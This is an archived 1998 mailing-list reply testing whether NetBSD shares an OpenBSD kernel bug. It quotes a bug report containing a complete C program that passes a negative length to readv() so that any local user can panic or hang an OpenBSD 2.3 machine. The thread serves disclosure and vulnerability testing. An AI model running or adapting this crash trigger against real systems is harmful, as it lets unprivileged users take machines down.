Re: Fwd: Any user can panic OpenBSD machine

[thorpej () nas nasa gov (Jason Thorpe)]

On Mon, 27 Jul 1998 11:23:59 -0600
 Michael Fuhr <mfuhr () DIMENSIONAL COM> wrote:

To see if this is a generic *BSD bug, I checked a NetBSD-current (1.3F)
machine.  NetBSD 1.3F is NOT vulnerable; the readv() returns EINVAL.

I performed the NetBSD test on both a PPro (i386) and Shark (arm32).

> -----Forwarded message from jon () oaktree co uk-----
>
> Message-Id: <199807271126.MAA16724 () chalk oaktree net uk>
> Date: Mon, 27 Jul 1998 12:26:36 +0100 (BST)
> From: jon () oaktree co uk
> To: gnats () openbsd org
> X-Send-Pr-Version: 3.97
> Subject: kernel/549: Any user can panic OpenBSD machine
> Sender: owner-bugs () openbsd org
>
>
> > Number:         549
> > Category:       kernel
> > Synopsis:       readv with -ve block size panics kernel
> > Confidential:   yes
> > Severity:       critical
> > Priority:       high
> > Responsible:    bugs
> > State:          open
> > Class:          sw-bug
> > Submitter-Id:   net
> > Arrival-Date:   Mon Jul 27 05:40:02 MDT 1998
> > Last-Modified:
> > Originator:     Jon Ribbens
> > Organization:
> \/ Jon Ribbens / jon () oaktree co uk
> > Release:        2.3
> > Environment:
>
>         System      : OpenBSD 2.3
>         Architecture: OpenBSD.i386
>         Machine     : i386
> > Description:
>         readv with one of the blocks having a -ve size panics the kernel.
>         Oops.
>
> > How-To-Repeat:
>
> #include <sys/types.h>
> #include <sys/uio.h>
> #include <unistd.h>
>
> int main(void) {
>   struct iovec iov[1];
>   char buffer[1024];
>
>   iov[0].iov_base = buffer;
>   iov[0].iov_len = -1;
>
>   return readv(0, iov, 1);
> }
>
>         run the above program, type a few characters, press return, observe
>         either kernel panic or machine hang. panic message is
>         "panic: ureadc: non-positive resid". Any user can do this.
>
>
> > Fix:
>         Dunno I'm afraid.
>
>
> > Audit-Trail:
> > Unformatted:
>
> -----End of forwarded message-----
>
> --
> Michael Fuhr
> http://www.fuhr.net/~mfuhr/

Jason R. Thorpe                                       thorpej () nas nasa gov
NASA Ames Research Center                            Home: +1 408 866 1912
NAS: M/S 258-5                                       Work: +1 650 604 0935
Moffett Field, CA 94035                             Pager: +1 650 940 5942